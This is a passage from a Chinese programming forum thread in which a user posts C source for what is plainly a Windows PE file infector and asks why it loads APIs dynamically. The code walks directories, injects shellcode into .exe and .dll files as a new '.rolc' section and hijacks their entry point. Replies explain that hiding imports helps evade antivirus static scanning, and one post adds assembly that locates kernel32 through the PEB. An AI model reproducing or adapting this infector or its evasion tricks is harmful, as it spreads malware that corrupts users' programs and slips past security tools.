  605.                                                 MyStrstr(szFilePath,"Messenger") ||
  606.                                                 MyStrstr(szFilePath,"InstallShield Installation Information") ||
  607.                                                 MyStrstr(szFilePath,"MSN") ||
  608.                                                 MyStrstr(szFilePath,"Movie Maker")
  609.                                                 )//不感染这些目录
  610.                                         {
  611.                                                 continue;
  612.                                         }
  613.                                         find_file.push(szFilePath);//保存当前路径
  614.                                         stack_hFileList.push(hListFile);//保存当前句柄
  615.                                         MyStrcat(szFilePath,"\\*");
  616.                                         hListFile=MyFindFirstFile(szFilePath,&FindFileData);
  617.                                         continue;
  618.                                 }else if (MyStrstr(FindFileData.cFileName,".exe") || MyStrstr(FindFileData.cFileName,".dll"))//如果是PE文件
  619.                                 {
  620.                                         AddSection(szFilePath); //添加一个节
  621.                                 }
  622.                         }
  623.                 } while (MyFindNextFile(hListFile,&FindFileData));
  624.                 FindFileData.cFileName[0]=0;
  625.                 MyFindClose(hListFile);//关闭句柄
  626.                 stack_hFileList.pop(&hListFile);//句柄出栈
  627.                 find_file.pop();//路径出栈
  628.         }while(find_file.top());//路径栈为空时退出
  629.         return 1;
  630. }
  631. /* ************************************
  632. * BOOL AddSection(TCHAR szFilePath[]
  633. * 功能 映射PE文件,添加节,写入Shellcode
  634. * 参数 szFilePath[] 文件全路径
  635. **************************************/
  636. BOOL AddSection(const TCHAR szFilePath[]){
  637.         HANDLE hFile;//目标文件句柄
  638.         HANDLE hFileMapping;  //映射目标文件
  639.         PVOID pMappingBaseAddr=NULL;//映射后的地址
  640.         PVOID pVoid=NULL;//申请临时堆,处理数据

  641.         PIMAGE_DOS_HEADER pDos_header=NULL;//DOS头
  642.         PIMAGE_NT_HEADERS32 pNt_header=NULL;//PE头
  643.         PIMAGE_SECTION_HEADER pSection_header=NULL;//开头一节
  644.         PIMAGE_SECTION_HEADER pSectionPointer=NULL;//移动节指针
  645.         IMAGE_SECTION_HEADER addSection;//要添加的新节

  646.         DWORD dwData;
  647.         DWORD SectionAlignment;//内存对齐颗粒
  648.         DWORD FileAlignment;//文件对齐颗粒
  649.         WORD NumberOfSections;//节数
  650.         DWORD dwFileSize;//文件大小
  651.         DWORD dwFileSize_high=0;
  652.        
  653.         hFile=MyCreateFile(szFilePath,GENERIC_WRITE | GENERIC_READ,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);//不共享访问,文件遭其它进程删除会出错
  654.         if (INVALID_HANDLE_VALUE==hFile)
  655.         {
  656.                 return FALSE;
  657.         }
  658.         dwFileSize=MyGetFileSize(hFile,&dwFileSize_high);
  659.         if (dwFileSize_high!=0)//不感染大于4G的文件
  660.         {
  661.                 MyCloseHandle(hFile);
  662.                 return 0;
  663.         }
  664.         hFileMapping=MyCreateFileMapping(hFile,0,PAGE_READWRITE,0,dwFileSize+g_dwMatrix_size+SHELLCODE_SIZE+0x400,0);
  665.         pMappingBaseAddr=MyMapViewOfile(hFileMapping,FILE_MAP_ALL_ACCESS,0,0,0);
  666.         if (0==pMappingBaseAddr)
  667.         {
  668.                 MyCloseHandle(hFileMapping);
  669.                 MyCloseHandle(hFile);
  670.                 return FALSE;
  671.         }
  672.        
  673.         pDos_header=(PIMAGE_DOS_HEADER)pMappingBaseAddr;
  674.         pNt_header=(PIMAGE_NT_HEADERS32)(((DWORD)pDos_header->e_lfanew)+(DWORD)pMappingBaseAddr);
  675.         pSection_header=(PIMAGE_SECTION_HEADER)(pNt_header+1);
  676.         if (0x5A4D!=pDos_header->e_magic ||
  677.                 0==pNt_header->OptionalHeader.CheckSum ||
  678.                 0x00004550!=pNt_header->Signature
  679.                 )//检验是否为有效PE格式。CheckSum为0,不感染
  680.         {
  681.                 MyCloseHandle(hFileMapping);
  682.                 MyCloseHandle(hFile);
  683.                 return FALSE;
  684.         }
  685.         NumberOfSections=pNt_header->FileHeader.NumberOfSections;
  686.         FileAlignment=pNt_header->OptionalHeader.FileAlignment;
  687.         SectionAlignment=pNt_header->OptionalHeader.SectionAlignment;
  688.         pSectionPointer=pSection_header+(NumberOfSections-1);//指向最后一节
  689.         if (!Mylstrcmp((LPCTSTR)(pSectionPointer->Name),".rolc"))//检测有无已感染
  690.         {
  691.                 MyCloseHandle(hFileMapping);
  692.                 MyCloseHandle(hFile);
  693.                 return FALSE;
  694.         }
  695.         if (!(pNt_header->FileHeader.Characteristics & 0x100))//不感染64位PE
  696.         {
  697.                 MyCloseHandle(hFileMapping);
  698.                 MyCloseHandle(hFile);
  699.                 return FALSE;
  700.         }

  701.         dwData=pSectionPointer->SizeOfRawData+pSectionPointer->PointerToRawData;
  702.         if (dwData%FileAlignment!=0)
  703.         {
  704.                 addSection.PointerToRawData=(dwData/FileAlignment)*FileAlignment+FileAlignment;//文件对齐
  705.         }else addSection.PointerToRawData=dwData;
  706.         dwData=pSectionPointer->VirtualAddress+pSectionPointer->Misc.VirtualSize;
  707.         if (dwData%SectionAlignment!=0)
  708.         {
  709.                 addSection.VirtualAddress=(dwData/SectionAlignment)*SectionAlignment+SectionAlignment;//内存对齐
  710.         }
  711.         if ((g_dwMatrix_size+SHELLCODE_SIZE)%SectionAlignment!=0)
  712.         {
  713.                 g_dwMap_size=(g_dwMatrix_size+SHELLCODE_SIZE)/SectionAlignment*SectionAlignment+SectionAlignment;//映射大小对齐
  714.         }else g_dwMap_size=g_dwMatrix_size+SHELLCODE_SIZE;
  715.         //新节数据填入
  716.         addSection.SizeOfRawData=g_dwMatrix_size+SHELLCODE_SIZE;
  717.         addSection.Misc.VirtualSize=g_dwMap_size;
  718.         addSection.NumberOfLinenumbers=0;
  719.         addSection.PointerToLinenumbers=0;
  720.         addSection.NumberOfRelocations=0;
  721.         addSection.PointerToRelocations=0;
  722.         MyMemcpy(addSection.Name,".rolc\0",6);
  723.         addSection.Characteristics=0xE0000020;
  724.        
  725.         pVoid=MyVirtualAlloc(NULL,g_dwMatrix_size+SHELLCODE_SIZE+0x50,MEM_COMMIT,PAGE_READWRITE);
  726.         if (0==pVoid)
  727.         {
  728.                 MyCloseHandle(hFileMapping);
  729.                 MyCloseHandle(hFile);
  730.                 return FALSE;
  731.         }
  732.         g_dwOrientryPoint=pNt_header->OptionalHeader.AddressOfEntryPoint+pNt_header->OptionalHeader.ImageBase;//保存原来的EntryPoint,记得要加上基址,因为地址不会重定位
  733.         RelocateShellCode(pVoid,addSection.VirtualAddress,pNt_header->OptionalHeader.ImageBase);

  734.         /*这里是处理越界问题*/
  735.         if (addSection.PointerToRawData>dwFileSize+0x400)//防止内存访问过界
  736.         {
  737.                 MyVirtualFree(pVoid,g_dwMatrix_size+SHELLCODE_SIZE+0x50,MEM_DECOMMIT);
  738.                 MyCloseHandle(hFileMapping);
  739.                 MyCloseHandle(hFile);
  740.                 return FALSE;
  741.         }
  742.         /*开始修改PE数据*/
  743.         ++pNt_header->FileHeader.NumberOfSections;//节数加1
  744.         pNt_header->OptionalHeader.SizeOfImage+=g_dwMap_size;//加上映射大小
  745.         ++pSectionPointer;//指向最后一节尾巴
  746.         *pSectionPointer=addSection;//写入新节表数据
  747.         pNt_header->OptionalHeader.AddressOfEntryPoint=addSection.VirtualAddress+SHELLCODE_ENTRYPOINT_RVA;//修改EntryPoint
  748.        
  749.         MyMemcpy(PVOID((DWORD)pMappingBaseAddr+addSection.PointerToRawData),pVoid,g_dwMatrix_size+SHELLCODE_SIZE);
  750.         MyFlushViewOfFile(pMappingBaseAddr,0);
  751.         MyUnmapViewOfFile(pMappingBaseAddr);
  752.         MyVirtualFree(pVoid,g_dwMatrix_size+SHELLCODE_SIZE+0x50,MEM_DECOMMIT);
  753.         MyCloseHandle(hFileMapping);
  754.         MyCloseHandle(hFile);
  755.         MySleep(30);
  756.         /*printf("感染成功!....\n");*/
  757.         return TRUE;
  758. }

  759. /* ************************************
  760. * BOOL RelocateShellCode(PVOID pVoid,DWORD virtualAddress)
  761. * 功能 重定位Shellcode信息
  762. * 参数 pVoid为申请的内存地址,virtualaddress为新节开始RVA
  763. **************************************/
  764. BOOL RelocateShellCode(PVOID pVoid,DWORD virtualAddress,DWORD dwImageBase){
  765.         DWORD dwData;
  766.         dwData=(DWORD)pVoid;
  767.         MyMemcpy(pVoid,g_pShellCodeVA,SHELLCODE_SIZE);
  768.         MyMemcpy(PVOID((DWORD)pVoid+SHELLCODE_SIZE),g_pMatrixVA,g_dwMatrix_size);
  769.         for (int i=0;i<NUMBEROFPOINT;i++)
  770.         {
  771.                 *((DWORD*)(g_dwRolcatePoint[i]+(DWORD)pVoid))+=virtualAddress+dwImageBase-0x401000;
  772.         }
  773.         *((DWORD*)(g_dwOrientryPoint_Point+(DWORD)pVoid))=g_dwOrientryPoint;
  774.         *((DWORD*)(g_dwMatrix_Size_Point+(DWORD)pVoid))=g_dwMatrix_size;
  775.         *((DWORD*)(g_dwMatrix_Site_Point+(DWORD)pVoid))=virtualAddress+dwImageBase+SHELLCODE_SIZE;
  776.         return TRUE;
  777. }

  778. int main(){
  779.         StartInject();
  780.         return 0;
  781. }
复制代码

最佳答案

查看完整内容

很多病毒木马都会使用这种技术。这要从PE文件说起,PE文件就是windows下的可执行文件,包括EXE,dll,sys等。如果直接调用Windows API,那么会在PE文件的导入表中留下调用函数的名称。比如你写代码调用MessageBox, 程序就会到user32.dll里找MessageBox(A/W)进行调用,为什么呢,这就是因为导入表的存在。 而动态加载就不存在这样的问题。这样做的目的在于,至少可以过掉对木马的静态扫描(实际对抗没这么简单)。因为杀软在静态扫描 ...




上一篇:自己设计控件怎么设计?
下一篇:这个游戏引擎说是限制了连接外网,我搞了五天还是没有弄明白

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

20_avatar_middle
online_vip win 发表于 2017-7-15 12:08:30 | 显示全部楼层
本帖最后由 win 于 2017-7-15 14:52 编辑

很多病毒木马都会使用这种技术。这要从PE文件说起,PE文件就是windows下的可执行文件,包括EXE,dll,sys等。如果直接调用Windows API,那么会在PE文件的导入表中留下调用函数的名称。比如你写代码调用MessageBox, 程序就会到user32.dll里找MessageBox(A/W)进行调用,为什么呢,这就是因为导入表的存在。
而动态加载就不存在这样的问题。这样做的目的在于,至少可以过掉对木马的静态扫描(实际对抗没这么简单)。因为杀软在静态扫描木马的时候,导入表中找不到可疑API
另外,GetProcAddress获取的是API在当前进程中的内存地址,不是物理地址。通常所说的内存地址都是虚拟内存地址的简称,这是windows的Copy-on-Write机制导致的。

评分

参与人数 2威望 +2 驿站币 +1 激情 +2 热心值 +2 收起 理由
69_avatar_small Four_glass + 1 很给力!
51_avatar_small Syc + 2 + 2 + 2 赞一个!

查看全部评分

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

51_avatar_middle
online_admins Syc 发表于 2017-7-15 13:11:12 | 显示全部楼层
这样更隐蔽,直接调用的话很多杀毒软件直接就拦截了。。。

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

69_avatar_middle
ico_lz  楼主| Four_glass 发表于 2017-7-17 08:17:37 | 显示全部楼层
谢谢。但是还有个疑问,如果敏感API会被查杀,那这样
  1. __declspec(naked) void getKernel32(){
  2.                 __asm{
  3.                         mov eax,fs:[0x30]
  4.                         mov eax,[eax+0xc]
  5.                         mov esi,[eax+0x1c]
  6.                         lods dword ptr ds:[esi]
  7.                         mov eax,[eax+0x8]
  8.                         mov g_kernel32_BaseAddr,eax
  9.                                 ret
  10.                 }
  11. }
复制代码

获得基地址不也是很明显的特征码吗?这个不一样会查杀吗?

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

20_avatar_middle
online_vip win 发表于 2017-7-17 11:55:00 | 显示全部楼层
Four_glass 发表于 2017-7-17 08:17
谢谢。但是还有个疑问,如果敏感API会被查杀,那这样

获得基地址不也是很明显的特征码吗?这个不一样会 ...

但是这个并不是病毒才特有的技术,单凭这段代码,大部分杀软也不能就这样报毒啊。

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

69_avatar_middle
ico_lz  楼主| Four_glass 发表于 2017-7-17 15:18:09 | 显示全部楼层
win 发表于 2017-7-17 11:55
但是这个并不是病毒才特有的技术,单凭这段代码,大部分杀软也不能就这样报毒啊。

除了病毒木马,还有什么类型的程序、应用会隐藏自己的API,方便举个例子吗

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

20_avatar_middle
online_vip win 发表于 2017-7-17 17:49:02 | 显示全部楼层
Four_glass 发表于 2017-7-17 15:18
除了病毒木马,还有什么类型的程序、应用会隐藏自己的API,方便举个例子吗

加密壳,外挂之类的。包括一些特殊的企业产品也可能用上这技术啊

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

69_avatar_middle
ico_lz  楼主| Four_glass 发表于 2017-7-18 09:19:15 | 显示全部楼层
win 发表于 2017-7-17 17:49
加密壳,外挂之类的。包括一些特殊的企业产品也可能用上这技术啊

也就是说,正常发布通用公开的软件,大都不会隐藏调用的API。可以这样理解吗?

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

59_avatar_middle
在线会员 fangting1989 发表于 2017-7-18 18:58:44 | 显示全部楼层
Four_glass 发表于 2017-7-18 09:19
也就是说,正常发布通用公开的软件,大都不会隐藏调用的API。可以这样理解吗?

可以这么说了

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 加入驿站 qq_login

本版积分规则

QQ|小黑屋|手机版|VC驿站 ( 辽ICP备09019393号tongdun|网站地图wx_jqr

GMT+8, 2018-12-14 00:58

Powered by Discuz! X3.4

© 2009-2018 cctry.com

快速回复 返回顶部 返回列表